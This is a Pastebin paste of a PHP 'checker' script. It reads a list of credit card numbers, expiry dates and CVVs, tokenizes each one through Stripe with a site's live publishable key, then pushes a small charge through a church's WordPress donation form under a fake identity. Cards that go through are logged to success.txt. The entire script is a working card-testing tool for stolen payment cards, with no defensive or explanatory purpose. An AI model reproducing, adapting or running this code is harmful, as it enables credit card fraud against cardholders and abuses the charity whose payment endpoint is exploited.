spyroot

Check

Jan 21st, 2019
3,122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. error_reporting(0);
  3. /*
  4. * PHP Checker Stripe
  5. * Inspirasi dari https://pastebin.com/u/bug7sec
  6. */
  7. require 'includes/class_curl.php';
  8. class checker
  9. {
  10.     public function GetToken($card, $month, $year, $cvc)
  11.     {
  12.         $curl   = new curl();
  13.         $data   = 'time_on_page=491284&pasted_fields=number&guid=fefcc4ef-334f-4b43-9362-a15b15d0bd92&muid=8e7bc530-37d0-4f09-9931-64a1e3335682&sid=0b1ae0f0-edb1-4ac8-a425-ed069d7a96a4&key=pk_live_kkIOioqvMQs4lec76gX9Ap5R&payment_user_agent=stripe.js%2F9dc17ab&card[name]=Natasha+Joe&card[number]='.$card.'&card[exp_month]='.$month.'&card[exp_year]='.$year.'&card[cvc]='.$cvc.'';
  14.         $post   = $curl->post('https://api.stripe.com/v1/tokens', $data);
  15.         $respon = json_decode($post, true);
  16.         if($respon['id'])
  17.         {
  18.             return array(
  19.                 'token'     => $respon['id'],
  20.                 'card_id'   => $respon['card']['id'],
  21.                 'brand'     => $respon['card']['brand'],
  22.                 'funding'   => $respon['card']['funding']
  23.             );
  24.         } else {
  25.             return array('error' => true);
  26.         }
  27.     }
  28.  
  29.     public function CheckLive($token)
  30.     {
  31.         $curl   = new curl();
  32.         $curl->cookies('cookies.txt');
  33.         $header = array(
  34.             'header' => array(
  35.                 'Host: www.churchofgodpacoima.com',
  36.                 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
  37.                 'Referer: https://www.churchofgodpacoima.com/donate/',
  38.                 'X-Request-With: XMLHttpRequest'
  39.             )
  40.         );
  41.         $data['header'] = $curl->header($header);
  42.  
  43.         $data   = 'action=wp_full_stripe_payment_charge&formName=Donation&fullstripe_name=Natasha+Joe&fullstripe_email=info%40komo.net&fullstripe_custom_input=3865304239&fullstripe_custom_amount=2&fullstripe_address_line1=2769++Willis+Avenue&fullstripe_address_line2=&fullstripe_address_city=Palatka&fullstripe_address_state=Florida&fullstripe_address_zip=32077&stripeToken='.$token.'';
  44.         $post   = $curl->post('https://www.churchofgodpacoima.com/wp-admin/admin-ajax.php', $data);
  45.         $respon = json_decode($post, true);
  46.         if($respon['success'])
  47.         {
  48.             return array(
  49.                 'success'   => true,
  50.                 'pesan'     => $respon['msg'],
  51.             );
  52.         } else {
  53.             return array(
  54.                 'success'   => false,
  55.                 'pesan'     => $respon['msg'],
  56.             );
  57.         }
  58.     }
  59.  
  60.     public function readline($pesan)
  61.     {
  62.         echo '[+] '.$pesan;
  63.         $jawab = rtrim(fgets(STDIN));
  64.         return $jawab;
  65.     }
  66.  
  67.     public function run()
  68.     {
  69.         $input  = $this->readline('Input List : ');
  70.         $list   = file_get_contents($input);
  71.         $list   = explode(PHP_EOL, $list);
  72.  
  73.         foreach($list as $number => $kartu)
  74.         {
  75.             $kartu = trim($kartu);
  76.             list($nomor, $bulan, $tahun, $cvv) = explode('|', $kartu);
  77.  
  78.             echo '[=] '.$number.'/'.count($list)." $nomor $bulan $tahun $cvv ";
  79.  
  80.             $token  = $this->GetToken($nomor, $bulan, $tahun, $cvv);
  81.             $charge = $this->CheckLive($token['token']);
  82.             if($token['error'])
  83.             {
  84.                 echo 'Reason : Token Error';
  85.             }
  86.             else {
  87.                 if($charge['success'] === true)
  88.                 {
  89.                     $buat = fopen('success.txt', 'a');
  90.                     fwrite($buat, $nomor.'|'.$bulan.'|'.$tahun.'|'.$cvv);
  91.                     fclose($buat);
  92.                 }
  93.                 echo "(".$charge['pesan'].")\r\n";
  94.             }
  95.         }
  96.     }
  97. }
  98.  
  99. $check = new checker;
  100. $check->run();
Add Comment
Please, Sign In to add comment